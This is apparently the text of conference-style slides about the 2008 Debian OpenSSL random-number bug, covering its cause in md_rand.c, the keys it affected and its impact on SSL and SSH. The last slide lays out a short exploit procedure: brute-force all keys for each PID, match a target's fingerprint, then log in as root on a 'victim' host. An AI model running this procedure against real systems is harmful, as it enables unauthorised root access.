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The Bug

May 13th, 2008: Debian announced a severe 
vulnerability in their OpenSSL package 

Caused by the removal of the following line of 
code from md_rand.c

MD_Update(&m,buf,j);

[ .. ]

MD_Update(&m,buf,j); 



The Bug

The lines were removed because 

Valgrind and Purify complained 

Warnings about the use of uninitialized data 
in any code that was linked to OpenSSL



The Impact

Crippling the 
seeding process for 
the OpenSSL 
PRNG

Remaining 
randomness: 
current process ID



The Impact

Affected: all SSL and SSH keys generated on Debian-
based systems (Ubuntu, Kubuntu, etc.) between 
September 2006 and May 13th, 2008 

SSL certificates

Certificate Authority keys 

SSH and public key authentication

Any tools that relied on OpenSSL's PRNG 
vulnerable to an offline attack



SSH

Any SSH server that uses a host key generated by a 
flawed system is subject to 

Traffic decryption (previously captured traffic, too)

MITM attack 

invisible to the users. 

Ugly because even systems that do not use the Debian 
software need to be audited in case any key is being 
used that was created on a Debian system



The Toys

1.Generate all 32,767 keys for each PID
# chroot debroot /dokeygen.sh 1 -t dsa -b 1024 -f dsa_1024_1

2.Obtain the private key file for any given public key
% ssh-keygen -l -f targetkey.pub
2048 c6:7b:14:fa:ae:b6:89:e6:67:17:ee:04:17:b0:ec:4e targetkey.pub

3.Log into target machine
% ssh -i rsa/2048/c67b14faaeb689e66717ee0417b0ec4e-26670 root@victim
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